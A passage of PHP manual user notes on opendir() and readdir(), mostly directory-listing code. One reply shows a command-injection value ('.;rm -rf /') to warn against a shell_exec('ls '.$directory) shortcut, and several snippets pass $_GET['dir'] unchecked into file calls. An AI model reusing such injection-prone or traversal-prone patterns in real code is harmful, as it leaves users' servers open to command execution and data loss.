                               filelist($startdir . $file . "/", $searchSubdirs, $directoriesonly, $maxlevel, $level + 1);
                           }
                       }
                   } else {
                       if (!$directoriesonly) {
                           //if you want to include files; build your file array
                           //however you choose; add other file details that you want.
                         $directorylist[$startdir . $file]['level'] = $level;
                         $directorylist[$startdir . $file]['dir'] = 0;
                         $directorylist[$startdir . $file]['name'] = $file;
                         $directorylist[$startdir . $file]['path'] = $startdir;
      }}}}
           closedir($dh);
}}
return($directorylist);
}
$files = filelist("./",1,1); // call the function
foreach ($files as $list) {//print array
    echo "Directory: " . $list['dir'] . " => Level: " . $list['level'] . " => Name: " . $list['name'] . " => Path: " . $list['path'] ."<br>";
}?>
chrys at mytechjournal dot com 10-Dec-2005 08:16
I wrote a function to recursively delete files from a starting directory.  I had to do this because my server doesn't allow me to delete files that apache writes because I don't have permissions, so... I let apache do the work.

<?php
$dir = "/path/to/base/dir";

recursive_delete($dir);

function recursive_delete( $dir )
{
        if (is_dir($dir)) {
           if ($dh = opendir($dir)) {
               while (($file = readdir($dh)) !== false ) {
                        if( $file != "." && $file != ".." )
                        {
                                if( is_dir( $dir . $file ) )
                                {
                                        echo "Entering Directory: $dir$file<br/>";
                                        recursive_delete( $dir . $file . "/" );
                                        echo "Removing Directory: $dir$file<br/><br/>";
                                        rmdir( $dir . $file );
                                }
                                else
                                {
                                        echo "Deleting file: $dir$file<br/>";
                                        unlink( $dir . $file );
                                }
                        }
               }
               closedir($dh);
           }
        }
}
?>
neale-php at woozle dot org 30-Nov-2005 06:41
oryan's example is still sub-optimal, even if people using it never ever substitute a variable for directory.

Just use PHP's glob() function, which will be faster and more efficient anyway since it doesn't have to launch a shell and run the ls program (that's what the shell_exec does).

$result = glob("directory/*");
oryan at zareste dot com 01-Nov-2005 12:19
There might be a bit of truth to that.  If, by chance, the webmaster made a form saying "type a random directory name here" and used that in the function, there'd be a problem.  So let's eliminate the 'function' part

$files=shell_exec("ls directory");
$result=explode("\n",$files);

'$result' will now be an array of the directory files.  You can use variables in the shell_exec command, but don't use anything that could be user-sent.
aligma at gmail dot com 01-Nov-2005 04:54
The example given by oryan at zareste dot com may also be a "simpler faster way" of creating security holes in your code. The function listed above prevents risking execution of abitrary shell commands listed after a semicolon (;) in your directory name.
Example: $directory = '.;rm -rf /';
Result: List this directory, erase contents of filesystem.
oryan at zareste dot com 31-Oct-2005 02:33
There's a simpler faster way to get a whole directory if you're using PHP 4.  This function uses shell_exec - http://us3.php.net/shell_exec - and assumes you're using Unix/Linux and have shell access -

function dir($directory){
   $files=shell_exec("ls ".$directory);
   return explode("\n",$files);
}

This returns an array with all the files.
This way, you can use modifiers like -t, which shows files in order of modification time ($files=shell_exec("ls -t ".$directory);).  Enough tweaking and you can use it on Windows, though I can't say how since I don't have a Windows server to try it on
asharm4 at ilstu dot edu 07-Oct-2005 06:56
//this is a function I wrote to sort out the contents of the directory date wise for display.

 $content_array = array();

//set current working directory
$dirname = "C:\temp";

//Load Directory Into Array
$handle=opendir($dirname);
$i=0;
while ($file = readdir($handle))
if ($file != "." && $file != "..")
{
       $content_array[$i][0] = $file;
       $content_array[$i][1] = date ("Y m d", filemtime($dirname."/".$file));
        $i++;
}
//close the directory handle
closedir($handle);

//these lines sort the contents of the directory by the date
    foreach($content_array as $res)
       $sortAux[] = $res[1];
    array_multisort($sortAux, SORT_ASC, $content_array);
06-Oct-2005 06:40
This function sorts files by name as strings, but without regard to case.  It also does some handy string formatting of the file size information.

<?
function getFiles($path) {
    //Function takes a path, and returns a numerically indexed array of associative arrays containing file information,
    //sorted by the file name (case insensitive).  If two files are identical when compared without case, they will sort
    //relative to each other in the order presented by readdir()
    $files = array();
    $fileNames = array();
    $i = 0;

    if (is_dir($path)) {
        if ($dh = opendir($path)) {
            while (($file = readdir($dh)) !== false) {
                if ($file == "." || $file == "..") continue;
                $fullpath = $path . "/" . $file;
                $fkey = strtolower($file);
                while (array_key_exists($fkey,$fileNames)) $fkey .= " ";
                $a = stat($fullpath);
                $files[$fkey]['size'] = $a['size'];
                if ($a['size'] == 0) $files[$fkey]['sizetext'] = "-";
                else if ($a['size'] > 1024) $files[$fkey]['sizetext'] = (ceil($a['size']/1024*100)/100) . " K";
                else if ($a['size'] > 1024*1024) $files[$fkey]['sizetext'] = (ceil($a['size']/(1024*1024)*100)/100) . " Mb";
                else $files[$fkey]['sizetext'] = $a['size'] . " bytes";
                $files[$fkey]['name'] = $file;
                $files[$fkey]['type'] = filetype($fullpath);
                $fileNames[$i++] = $fkey;
            }
            closedir($dh);
        } else die ("Cannot open directory:  $path");
    } else die ("Path is not a directory:  $path");
    sort($fileNames,SORT_STRING);
    $sortedFiles = array();
    $i = 0;
    foreach($fileNames as $f) $sortedFiles[$i++] = $files[$f];

    return $sortedFiles;
}

$files = getFiles("C:");
foreach ($files as $file) print "$file[name]<br>\n";
?>
Lasse Dalegaard 21-May-2005 09:25
I made a function for finding all files in a specified directory and all subdirectories. It can be quite usefull when searching in alot of files in alot subdirectories. The function returns an array with the path of all the files found.

<?
function getFiles($directory) {
    // Try to open the directory
    if($dir = opendir($directory)) {
        // Create an array for all files found
        $tmp = Array();

        // Add the files
        while($file = readdir($dir)) {
            // Make sure the file exists
            if($file != "." && $file != ".." && $file[0] != '.') {
                // If it's a directiry, list all files within it
                if(is_dir($directory . "/" . $file)) {
                    $tmp2 = getFiles($directory . "/" . $file);
                    if(is_array($tmp2)) {
                        $tmp = array_merge($tmp, $tmp2);
                    }
                } else {
                    array_push($tmp, $directory . "/" . $file);
                }
            }
        }

        // Finish off the function
        closedir($dir);
        return $tmp;
    }
}

// Example of use
print_r(getFiles('.')); // This will find all files in the current directory and all subdirectories
?>
iamnotanerd 29-Mar-2005 06:38
Here is a snippet of the code that I created to search for a file..recursively open the directories and search for a match..

<?php
function search($target, $directory){

    if(is_dir($directory)){
        $direc = opendir($directory);
        while(false !== ($file = readdir($direc))){

            if($file !="." && $file != ".."){

                if(is_file($directory."/".$file)){
                    if(preg_match("/$target/i", $file)){
                                            echo "<a href=\"$directory/$file\">$file</a><br>";
                                        }
                }else if(is_dir($directory."/".$file)){
                    search($target,$directory."/".$file);

                }

            }
        }
        closedir($direc);
    }

    return ;
}
?>
hendrik dot wermer at gmx dot de 08-Feb-2005 02:06
Here's another version of directory listing, since I had some problems using the examples below. It will display the content of the current directory, sorted by directories and files.
You can also search subdirectories by setting $maxDepth > 0. There's a link to other directories, so you can easily switch to the parent directory or to other directories in the current directory.
Hope it helps!

<?php
// show directory content
function showDir($dir, $i, $maxDepth){
    $i++;
    if($checkDir = opendir($dir)){
        $cDir = 0;
        $cFile = 0;
        // check all files in $dir, add to array listDir or listFile
        while($file = readdir($checkDir)){
            if($file != "." && $file != ".."){
                if(is_dir($dir . "/" . $file)){
                    $listDir[$cDir] = $file;
                    $cDir++;
                }
                else{
                    $listFile[$cFile] = $file;
                    $cFile++;
                }
            }
        }

        // show directories
        if(count($listDir) > 0){
            sort($listDir);
            for($j = 0; $j < count($listDir); $j++){
                echo "
                <tr>";
                    $spacer = "";
                    for($l = 0; $l < $i; $l++) $spacer .= "&emsp;";
                    // create link
                    $link = "<a href=\"" . $_SERVER["PHP_SELF"] . "?dir=" . $dir . "/" . $listDir[$j] . "\">$listDir[$j]</a>";
                    echo "<td>" . $spacer . $link . "</td>
                </tr>";
                // list all subdirectories up to maxDepth
                if($i < $maxDepth) showDir($dir . "/" . $listDir[$j], $i, $maxDepth);
            }
        }

        // show files
        if(count($listFile) > 0){
            sort($listFile);
            for($k = 0; $k < count($listFile); $k++){
                $spacer = "";
                for($l = 0; $l < $i; $l++) $spacer .= "&emsp;";
                echo "
                <tr>
                    <td>" . $spacer . $listFile[$k] . "</td>
                </tr>";
            }
        }
        closedir($checkDir);
    }
}

if($_GET["dir"] == "" || !is_dir($_GET["dir"])) $dir = getcwd();
else $dir = $_GET["dir"];
// replace backslashes, not necessary, but better to look at
$dir = str_replace("\\", "/", $dir);

// show parent path
$pDir = pathinfo($dir);
$parentDir = $pDir["dirname"];

echo "<a href=\"" . $_SERVER["PHP_SELF"] . "\"><h3>Home</h3></a>";
echo "Current directory: " . $dir;
echo "<a href=\"" . $_SERVER["PHP_SELF"] . "?dir=$parentDir\"><h4>Parent directory: $parentDir</h4></a>";

// Display directory content
echo"<table border=1 cellspacing=0 cellpadding=2>
<tr><th align=left>File / Dir</th>";

// specifies the maxDepth of included subdirectories
// set maxDepth to 0 if u want to display the current directory
$maxDepth = 0;
showDir($dir, -1, $maxDepth);
?>
sandy at montana-riverboats dot com 30-Sep-2004 06:08
<?php
/*
** This recursive file lister only slurps in one page at time,
** so it doesn't take forever to load when operating over
** a large system.....comes with an "Up" link for every page too.
*/

$PHP_SELF = $_SERVER['PHP_SELF'];
$DOCUMENT_ROOT = $_SERVER['DOCUMENT_ROOT'];
# activate the next line (and deactivate the last) to
# use this script in a $DOCUMENT_ROOT/~anybody
# environment.
#$DOCUMENT_ROOT="/home/sandy/public_html/";

$tdir = $_GET['dir'];
echo "tdir==$tdir<br>";
$tparent_path = $_GET['parent_path'];
$dbg = $_GET['dbg'];

if(!strstr($tdir, $DOCUMENT_ROOT))
  $tdir = getcwd();
if(!strstr($tparent_path, $DOCUMENT_ROOT))
  $tparent_path = $tdir;

if (!isset ($tdir))
  {
    $dir = getcwd ();
  }
else
  $dir = $tdir;

if (!isset ($tparent_path))
  {
    $parent_path = $dir;
  }
else
  $parent_path = $tparent_path;

echo "<br>";
if (!isset ($tdir))
  {
    $upurl = $PHP_SELF;
  }
else
  {
    if ($parent_path == $DOCUMENT_ROOT)
      $parent_parent_path = $parent_path;
    else
      $parent_parent_path = dirname ($parent_path);
    $upurl = $PHP_SELF."?dir=".$parent_path."&parent_path=".
                  $parent_parent_path;
  }

if($dbg==1)
{
  echo "PHP_SELF: $PHP_SELF<br>\n";
  echo "DOCUMENT_ROOT: $DOCUMENT_ROOT<br>\n";
  echo "dir: $dir<br>\n";
  echo "parent_path: $parent_path<br>\n";
  echo "upurl: $upurl<br>\n";
}

echo "<a href=\"$upurl\"> <h3>Up</h3> </a>\n";
echo "<h2>$dir</h2>\n";

create_tree ($dir, $parent_path);

function
urlFromPath ($path)
{
  global $PHP_SELF;
  global $DOCUMENT_ROOT;
  $prefix = "";
  if (substr ($path, 0, 1) != "/")
    $prefix = "/";
  $url = $prefix.ereg_replace ($DOCUMENT_ROOT, "", $path);
  return $url;
}

function
create_tree ($dir, $parent_path)
{
  if ($handle = opendir ($dir))
    {
      $i = 0;
      while (false !== ($file = @readdir ($handle)))
    {
      if ($file != "." && $file != "..")
        {
          $list[$i] = $file;
          $i++;
        }
    }
      $dir_length = count ($list);
      echo "<ul>";
      for ($i = 0; $i < $dir_length; $i++)
    {
      global $PHP_SELF;
      global $DOCUMENT_ROOT;
      $label = $list[$i];
      $test = $dir."/".$label;
      $alink = $dir."/".ereg_replace(" ","%20",$label);
      if (!strstr ($PHP_SELF, $label))
        {
          if (is_dir ($test))
        {
          $tmp = $PHP_SELF. "?dir=".$alink."&parent_path=".$dir;
          $url = ereg_replace(" ", "%20", $tmp);
                  echo "$url<br>\n";
          echo "<a href=\"$url\"><b>$label</b>/</a><br>\n";
        }
          else
        {
          $link = urlFromPath ($alink);

          $label = $list[$i];
          echo
            "<a href=\"$link\">".$label."</a><br>\n";
        }
        }
    }
      echo "</ul>";
      closedir ($handle);
    }
}

?>
cnichols at nmu dot edu 17-Sep-2004 08:03
Here's another recursive function that prints out everything from the starting path to the end. It doesn't have any search function, but just another example. I wrote it for getting a quick hierarchial view of websites (even through Dreamweaver will show it to me, it'd be a chore to go through each folder and expand it).

<?php

// map_dirs(path,level)
// path, level to start (start at 0)

map_dirs("/var/ww/html/",0);

function map_dirs($path,$level) {
        if(is_dir($path)) {
                if($contents = opendir($path)) {
                        while(($node = readdir($contents)) !== false) {
                                if($node!="." && $node!="..") {
                                        for($i=0;$i<$level;$i++) echo "  ";
                                        if(is_dir($path."/".$node)) echo "+"; else echo " ";
                                        echo $node."\n";
                                        map_dirs("$path/$node",$level+1);
                                }
                        }
                }
        }
}

?>
MagicalTux at FF.st 09-Aug-2004 03:32
Note that the opendir() function will use ISO8859-1 characterset under windows...

If you have korean, japanese, etc.. filenames, you won't be able to open them. I still didn't find any solution to workaround that.
Cabal at CnCWorld dot org 28-Mar-2004 03:21
I had problems getting it to work because I'm not the best at PHP, but there IS a way to use opendir to list things in alphabetical order. I'm using it for my university project. All you have to do is read the filenames into an array, sort the array and then do what you want with the filenames.... like this....

So that you know what all my variables mean in this - $stats is the folder that it looks in for the files - for example
?stats=images
would look in the images folder

Obviously you will want to modify it so it fits your needs, but I thought you guys would want this - especially if your server doesnt have the latest version of php.

===========================

<?php
$i = 0;
$arraycount = 0;
$home="/home/cabal/public_html/b146/admin/$stats";

if ($stats)
{
    $dircheck="/home/cabal/public_html/b146/admin/$stats";
    if (is_dir($dircheck))
    {
        if ($handle = opendir($home))
        {
            while (false !== ($file = readdir($handle)))
            {
                   if ($file != "." && $file != "..")
            {
            $path = "$home/$file";
            $extension = array_pop(explode('.', basename($path)));
            $filearray[$i] = $file;
            $i++;
            }
            }
           }
           closedir($handle);

    }
    else
    {
    echo "INCORRECT SELECTION";
    }

}

else

{
echo "NOTHING SELECTED";
}
echo "&nbsp;";

echo("<table width='100%' border='1'><tr><td><b><font color='#ff0000'>");
echo("$stats : Log File");
echo("</b></font></td><td><font color='#FF0000'><b>Page Views</b></font></td></tr>");
sort($filearray);
reset($filearray);
while (list($key, $val) = each($filearray))
{
    $includearray = "$home/$filearray[$key]";
    echo("<tr><td>");
    echo("$val");
    echo("</td><td>");
    include($includearray);
    echo("</td></tr>");

}
echo("</table>");

?>
dieck at gmx dot de 26-Feb-2004 01:47
If you have problems like "failed to open dir: Invalid argument"
when using IIS and trying to access windows/smb network shares, try
//servername/share/directory
instead of
\\servername\share
micklweiss at gmx dot net 19-Nov-2003 10:12
I ran into a little snag in example 1. opendir() lists files by the last time the file was accessed. I was trying to print the files numerically in a directory.

Solution: Use scandir() instead (php5) or store the files in an array and sort it.

Hope this helps someone.

- Mick

(o> Web / software developer
( )     UNIX Systems Admin
---   ~ www.mickweiss.com ~
info at 4design dot nu 23-Aug-2003 03:31
In addition to notes above about IIS & PHP reading network shares, here's one solution that works better for me.

in the management console I created a folder where my "read_dir" script runs. click on properties then select the security tab. here you can set the anonymous account to the standard IUSR_$computername% , BUT.. in this case I chose another account that I set up for reading my shares. (make sure login name and password match the credantials you set on the remote machin ;-))

I use this to read a dir and it's contents into a searchable database. and it works like a charm...
Matt Grimm 06-Jun-2003 10:25
Thought I could help clarify something with accessing network shares on a Windows network (2000 in this case), running PHP 4.3.2 under Apache 2.0.44.

However you are logged into the Windows box, your Apache service must be running under an account which has access to the share.  The easiest (and probably least safe) way for me was to change the user for the Apache service to the computer administrator (do this in the service properties, under the "Log On" tab).  After restarting Apache, I could access mapped drives by their assigned drive letter ("z:\\") or regular shares by their UNC path ("\\\\shareDrive\\shareDir").
mitka at actdev.com 28-Sep-2002 01:42
Re: Accessing network directories on W32

In reply to the previous comments, to enable opendir() to open directories like "\\SOMEHOST\shareddir", with PHP+IIS:

Follow the instructions here: http://support.microsoft.com/default.aspx?scid=kb;en-us;Q189408

Check that the file share allows reads to IUSR_[HOSTNAME] user.


Read entry from directory handle

  • « opendir
  • rewinddir »
  • PHP Manual
  • Directory Functions
  • Read entry from directory handle

readdir

(PHP 4, PHP 5)

readdir — Read entry from directory handle

Description

string readdir ([ resource $dir_handle ] )

Returns the name of the next entry in the directory. The entries are returned in the order in which they are stored by the filesystem.

Parameters

dir_handle

The directory handle resource previously opened with opendir(). If the directory handle is not specified, the last link opened by opendir() is assumed.

Return Values

Returns the entry name on success or FALSE on failure.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples

Example #1 List all entries in a directory

Please note the fashion in which readdir()'s return value is checked in the examples below. We are explicitly testing whether the return value is identical to (equal to and of the same type as--see Comparison Operators for more information) FALSE since otherwise, any directory entry whose name evaluates to FALSE will stop the loop (e.g. a directory named "0").

<?php

if ($handle = opendir('/path/to/files')) {
    echo "Directory handle: $handle\n";
    echo "Entries:\n";

    /* This is the correct way to loop over the directory. */
    while (false !== ($entry = readdir($handle))) {
        echo "$entry\n";
    }

    /* This is the WRONG way to loop over the directory. */
    while ($entry = readdir($handle)) {
        echo "$entry\n";
    }

    closedir($handle);
}
?>

Example #2 List all entries in the current directory and strip out . and ..

<?php
if ($handle = opendir('.')) {
    while (false !== ($entry = readdir($handle))) {
        if ($entry != "." && $entry != "..") {
            echo "$entry\n";
        }
    }
    closedir($handle);
}
?>

See Also

  • is_dir() - Tells whether the filename is a directory
  • glob() - Find pathnames matching a pattern
  • opendir() - Open directory handle
  • scandir() - List files and directories inside the specified path

User Contributed Notes

garvitdelhi at gmail dot com 01-Sep-2014 03:10
this function recurrsively goes to a particular depth and stops after the depth is reached.

function read_path($root = '.', $depth = 1) {
        if($depth == 0) {
            return;
        }
        $last_letter  = $root[strlen($root)-1];
          $root  = ($last_letter == '\\' || $last_letter == '/') ? $root : $root.DIRECTORY_SEPARATOR;
          $files  = array('files'=>array(), 'dirs'=>array());
          if ($handle = opendir($root)) {
              while (false !== ($file = readdir($handle))) {
                if ($file == '.' || $file == '..') {
                      continue;
                }
                $file  = $root.$file;
                if (is_dir($file)) {
                      $directory_path = $file.DIRECTORY_SEPARATOR;
                    $files['dirs'][$directory_path]  = NULL;
                } elseif (is_file($file)) {
                    $files['files'][]  = $file;
                }
              }
              closedir($handle);
        }
          $done = [$root=>$files];
          foreach ($done[$root]['dirs'] as $key=>$value) {
              $done[$root]['dirs'][$key] = $this->read_path($key, $depth-1);
          }
          return $done[$root];
    }
stiles daht nathan ahat geemale 21-Jun-2014 02:54
I'm on 5.4.21 this function returns null after . and .. on an empty directory.  ZendServer for IBMi
Blizzz 03-Sep-2013 01:42
If dir_handle is not a proper resource, null will be returned instead of false.
canyildiz at gmail dot com 14-Aug-2013 10:04
Please note that readdir() doesn't mean in alphabetical order everytime while it sorts in directory order which means "ls -U" in linux
jpittman2 at gmail dot com 19-Jul-2013 02:55
Warning when using readdir() on certain versions of CentOS on NFS-mounted directories:

This is not a bug with PHP's readdir, but a bug with certain versions of CentOS's readdir implementation.  According to Post #6213 in the CentOS Bugs forum, when using CentOS kernel versions 2.6.18-348 through 2.6.18-348.3.1, invoking readdir on an NFS-mounted directory may not return all the entries.  Since PHP's readdir() uses this library, the issue is manifest in PHP as well.

According to the post, upgrading to version 2.6.18-348.4.1.el5 should solve the issue, though I haven't tried it.

glob() does NOT seem to suffer from this same vulnerability.
avi dot megladon at gmail dot com 22-Jun-2012 09:51
loop through folders and sub folders with option to remove specific files.

<?php
function listFolderFiles($dir,$exclude){
    $ffs = scandir($dir);
    echo '<ul class="ulli">';
    foreach($ffs as $ff){
        if(is_array($exclude) and !in_array($ff,$exclude)){
            if($ff != '.' && $ff != '..'){
            if(!is_dir($dir.'/'.$ff)){
            echo '<li><a href="edit_page.php?path='.ltrim($dir.'/'.$ff,'./').'">'.$ff.'</a>';
            } else {
            echo '<li>'.$ff;
            }
            if(is_dir($dir.'/'.$ff)) listFolderFiles($dir.'/'.$ff,$exclude);
            echo '</li>';
            }
        }
    }
    echo '</ul>';
}

listFolderFiles('.',array('index.php','edit_page.php'));
?>
Mauro Alessandro Nonnis 17-Jul-2011 10:57
## List and Rename  all files on recursive directories with "recursive directory name" as template + filename
## Advice:  other files in the same directory will result in a warning
## scriptname : Recursive Dir_Renfiles_dirname-filename.php

<?php
if ($handle = opendir('.')) {
    while (false !== ($file = readdir($handle))) {
                if ($file != "." && $file != ".." && $file != "Recursive Dir_Renfiles_dirname-filename.php") {
                    echo "$file";
        echo "<br>";
                    $count = -1;
                     $handle2 = @opendir($file);
                        while (false !== ($file2 = @readdir($handle2))) {
                        echo "$file2";
                        if ($count <10 ){ @rename("$file/$file2", "$file/$file"."_$file2");}
                        else { @rename("$file/$file2", "$file/$file"."_$file2");}
                        echo "<br>";
                         $count = $count + 1;
                            }
             echo "<br>";
        }
    }
    closedir($handle);
}
?>
mrlemonade 09-Jul-2011 12:34
Get all files on recursive directories in single array.

<?php
/*
 * mrlemonade ~
 */

function getFilesFromDir($dir) {

  $files = array();
  if ($handle = opendir($dir)) {
    while (false !== ($file = readdir($handle))) {
        if ($file != "." && $file != "..") {
            if(is_dir($dir.'/'.$file)) {
                $dir2 = $dir.'/'.$file;
                $files[] = getFilesFromDir($dir2);
            }
            else {
              $files[] = $dir.'/'.$file;
            }
        }
    }
    closedir($handle);
  }

  return array_flat($files);
}

function array_flat($array) {

  foreach($array as $a) {
    if(is_array($a)) {
      $tmp = array_merge($tmp, array_flat($a));
    }
    else {
      $tmp[] = $a;
    }
  }

  return $tmp;
}

// Usage
$dir = '/data';
$foo = getFilesFromDir($dir);

print_r($foo);
?>
stuart at horuskol dot net 03-May-2011 07:20
Looking through the examples, I can't see any that do a simple check on the value of the directory resource that opendir returns and is subsequently used by readdir.

If opendir returns false, and you simply pass this to the readdir call in the while loop, you will get an infinite loop.

A simple test helps prevent this:

<?php

$dir = opendir($path);
while ($dir && ($file = readdir($dir)) !== false) {
  // do stuff
}

?>
sreekumar [at] sreek [dot] in 12-Apr-2011 11:04
A function I created to non-recursively get the path of all files and folders including sub-directories of a given folder.
Though I have not tested it completely, it seems to be working.

<?php

/**
 * Finds path, relative to the given root folder, of all files and directories in the given directory and its sub-directories non recursively.
 * Will return an array of the form
 * array(
 *   'files' => [],
 *   'dirs'  => [],
 * )
 * @author sreekumar
 * @param string $root
 * @result array
 */
function read_all_files($root = '.'){
  $files  = array('files'=>array(), 'dirs'=>array());
  $directories  = array();
  $last_letter  = $root[strlen($root)-1];
  $root  = ($last_letter == '\\' || $last_letter == '/') ? $root : $root.DIRECTORY_SEPARATOR;

  $directories[]  = $root;

  while (sizeof($directories)) {
    $dir  = array_pop($directories);
    if ($handle = opendir($dir)) {
      while (false !== ($file = readdir($handle))) {
        if ($file == '.' || $file == '..') {
          continue;
        }
        $file  = $dir.$file;
        if (is_dir($file)) {
          $directory_path = $file.DIRECTORY_SEPARATOR;
          array_push($directories, $directory_path);
          $files['dirs'][]  = $directory_path;
        } elseif (is_file($file)) {
          $files['files'][]  = $file;
        }
      }
      closedir($handle);
    }
  }

  return $files;
}
?>
Qwerp 12-Nov-2010 07:42
Here's a handy function you can use to list the files in the directory you specify, their type (dir or file) and whether they are hidden.
You could modify it to do other things too.

<?php
function listDirs($where){
echo "<table border=\"1\"><tr><td><b>Name</b></td><td><b>Type</b></td>";
echo "<td><b>Invisible (Hidden)?</b></td></tr>";
    $itemHandler=opendir($where);
    $i=0;
    while(($item=readdir($itemHandler)) !== false){
        if(substr($item, 0, 1)!="."){
            if(is_dir($item)){
                echo "<tr><td>$item</td><td>Directory</td><td>No</td></tr>";
            }else{
                echo "<tr><td>$item</td><td>File</td><td>No</td></tr>";
            }
            $i++;
        }else{
            if(is_dir($item)){
                echo "<tr><td>$item</td><td>Directory</td><td>Yes</td></tr>";
            }else{
                echo "<tr><td>$item</td><td>File</td><td>Yes</td></tr>";
            }
            $i++;
        }
       }
echo "</table>";
}
?>
Then call it like this.
<?php
listDirs(DIR);
?>
Example:
<?php
listDirs("/tests/directorylisting");
?>

You get a table like this.

Name    Type    Invisible (Hidden)?
.    Directory    Yes
..    Directory    Yes
.DS_Store    File    Yes
.localized    File    Yes
index.php    File    No
OOOLS    Directory    No
QwerpWiki.php    File    No
frasq at frasq dot org 01-Nov-2010 04:46
A variation on listing all the files in a directory recursively. The code illustrates a basic technique : the use of an auxiliary function. It avoids building temporary lists which are merged on the way back. Note that the array which collects the information must be passed by reference.

<?php
function listdir($dir='.') {
    if (!is_dir($dir)) {
        return false;
    }

    $files = array();
    listdiraux($dir, $files);

    return $files;
}

function listdiraux($dir, &$files) {
    $handle = opendir($dir);
    while (($file = readdir($handle)) !== false) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        $filepath = $dir == '.' ? $file : $dir . '/' . $file;
        if (is_link($filepath))
            continue;
        if (is_file($filepath))
            $files[] = $filepath;
        else if (is_dir($filepath))
            listdiraux($filepath, $files);
    }
    closedir($handle);
}

$files = listdir('.');
sort($files, SORT_LOCALE_STRING);

foreach ($files as $f) {
    echo  $f, "\n";
}
?>
gherson at snet dot net 02-Mar-2010 01:15
readdir_recursive() is a recursive readdir() that returns filespecs not filenames.

<?php

define('SEEK', 'the grail');
define('ORIGIN', "C:\\Documents and Settings\\myname\\My Documents");
$hits = array();
$handles = array(ORIGIN=>opendir(ORIGIN)); // Associate handle with its (absolute) path.
////\\\\ "$handles" is special to
//                 \\\\\\\\\////////
while ($filespec = readdir_recursive($handles)) {
    $out = array();
    $cmd = "c:\\cygwin\\bin\\strings '$filespec' | c:\\cygwin\\bin\\grep -li ".SEEK;
    $lastLine = exec($cmd, $out, $status);
    // echo "out is ". implode(' ', $out) .", lastLine is $lastLine, status is $status\n";

    if (strstr(' '. implode(' ', $out), '(standard input)')) { // Hit.
       $hits[] = $filespec;
    }
}

echo "'".SEEK."' found in files: <br/>\n". implode("<br/>\n", $hits);

/**
 * Return unique filespecs under given directory tree until all found.
 *
 * To use: while ($filespec = readdir_recursive(array($dir="\\path\\to\\folder" => opendir($dir)))) { ...
 *
 * @param mixed $seed Array(<path>=><resource>) on 1st call | false during recursion.
 * @return mixed $filespec String | false
 */
function readdir_recursive($seed = false)
{
    global $handles; // ("global" instead of "static" because with latter,
    // assignments go out of scope when function executions end (via return $filespec;).)

    // $seed is only true (ie, includes a directory path specified by the user)
    // when readdir_recursive() is executing for the 1st time.
    if ($seed) {
        $handles = $seed;
    }
    assert('is_array($handles)');

    if (empty($handles)) {
        return false; // All done.
    }

    // Advance the current($handles) handle to a new file or folder.
    $file = readdir(current($handles));
    $filespec = key($handles) ."\\". $file;
    if (false===$file) { // End of current($handles) directory reached.

        // The current element, an exhausted handle, is the last element.
        array_pop($handles); // Discard exhausted handle. (This also sets array pointer to array beginning.)
        end($handles);
        // echo "\nUp to element ". key($handles) .'=>'. current($handles) ."\n";

        return readdir_recursive(); // Resume finding files in a higher level directory.

    } elseif (is_file($filespec)) {
        return $filespec;

    } else { // $file is a directory: Recurse.
        if ($file!=='.' && $file!=='..') { // Non-pointer directory reached.
            // Add this subdirectory to the list that must be traversed.
            $handles[$filespec] = opendir($filespec);
            next($handles); // Prepare to proceed to the appended subdirectory.
        }
        return readdir_recursive();
    }
}
yasirlayth at live dot com 04-Jan-2010 02:36
this simple function will index the directories and sub-directories of a given dir

<?php
function get_dirs($dir){
    global $dirs;
    if (!isset($dirs)){$dirs = '';}
    if(substr($dir,-1) !== '\\'){$dir .= '\\';}
    if ($handle = opendir($dir)){
        while (false !== ($file = readdir($handle))){
            if (filetype($dir.$file) === 'dir' && $file != "." && $file != ".."){
                clearstatcache();
                $dirs .= $file . "\n";
                get_dirs($dir . $file);
            }
        }
        closedir($handle);
    }
    return $dirs;
}
?>
DaveRandom 17-May-2009 04:39
A very flexible function to recursively list all files in a directory with the option to perform a custom set of actions on those files and/or include extra information about them in the returned data.

 ----------

 SYNTAX:
   $array = process_dir ( $dir , $recursive = FALSE )
        $dir  (STRING)   =  Directory to process
  $recursive  (BOOLEAN)  =  [Optional] Recursive if set to TRUE

 RETURN VALUES:
  The function returns an indexed array, one entry for every file. Each entry is an associative array, containing the basic information 'filename' (name of file) and 'dirpath' (directory component of path to file), and any additional keys you configure. Returns FALSE on failure.

 ----------

  To allow you to configure another key, the entry for each file is stored in an array, "$entry" for each iteration. You can easily return any additional data for a given file using $entry['keyname'] = ... (Note that this data can be any variable type - string, bool, float, resource etc)

  There is a string variable "$path" available, which contains the full path of the current file, relative to the initial "$dir" supplied at function call. This data is also available in it's constituent parts, "$dir" and "$file". Actions for each file can be constructed on the basis of these variables. The variables "$list", "$handle" and "$recursive" should not be used within your code.

 ----------

 Simply insert you code into the sections indicated by the comments below and your away!

 The following example returns filename, filepath, and file modified time (in a human-readable string) for all items, filesize for all files but not directories, and a resource stream for all files with 'log' in the filename (but not *.log files).

<?php

  function process_dir($dir,$recursive = FALSE) {
    if (is_dir($dir)) {
      for ($list = array(),$handle = opendir($dir); (FALSE !== ($file = readdir($handle)));) {
        if (($file != '.' && $file != '..') && (file_exists($path = $dir.'/'.$file))) {
          if (is_dir($path) && ($recursive)) {
            $list = array_merge($list, process_dir($path, TRUE));
          } else {
            $entry = array('filename' => $file, 'dirpath' => $dir);

 //---------------------------------------------------------//
 //                     - SECTION 1 -                       //
 //          Actions to be performed on ALL ITEMS           //
 //-----------------    Begin Editable    ------------------//

  $entry['modtime'] = filemtime($path);

 //-----------------     End Editable     ------------------//
            do if (!is_dir($path)) {
 //---------------------------------------------------------//
 //                     - SECTION 2 -                       //
 //         Actions to be performed on FILES ONLY           //
 //-----------------    Begin Editable    ------------------//

  $entry['size'] = filesize($path);
  if (strstr(pathinfo($path,PATHINFO_BASENAME),'log')) {
    if (!$entry['handle'] = fopen($path,r)) $entry['handle'] = "FAIL";
  }

 //-----------------     End Editable     ------------------//
              break;
            } else {
 //---------------------------------------------------------//
 //                     - SECTION 3 -                       //
 //       Actions to be performed on DIRECTORIES ONLY       //
 //-----------------    Begin Editable    ------------------//

 //-----------------     End Editable     ------------------//
              break;
            } while (FALSE);
            $list[] = $entry;
          }
        }
      }
      closedir($handle);
      return $list;
    } else return FALSE;
  }

  $result = process_dir('C:/webserver/Apache2/httpdocs/processdir',TRUE);

 // Output each opened file and then close
  foreach ($result as $file) {
    if (is_resource($file['handle'])) {
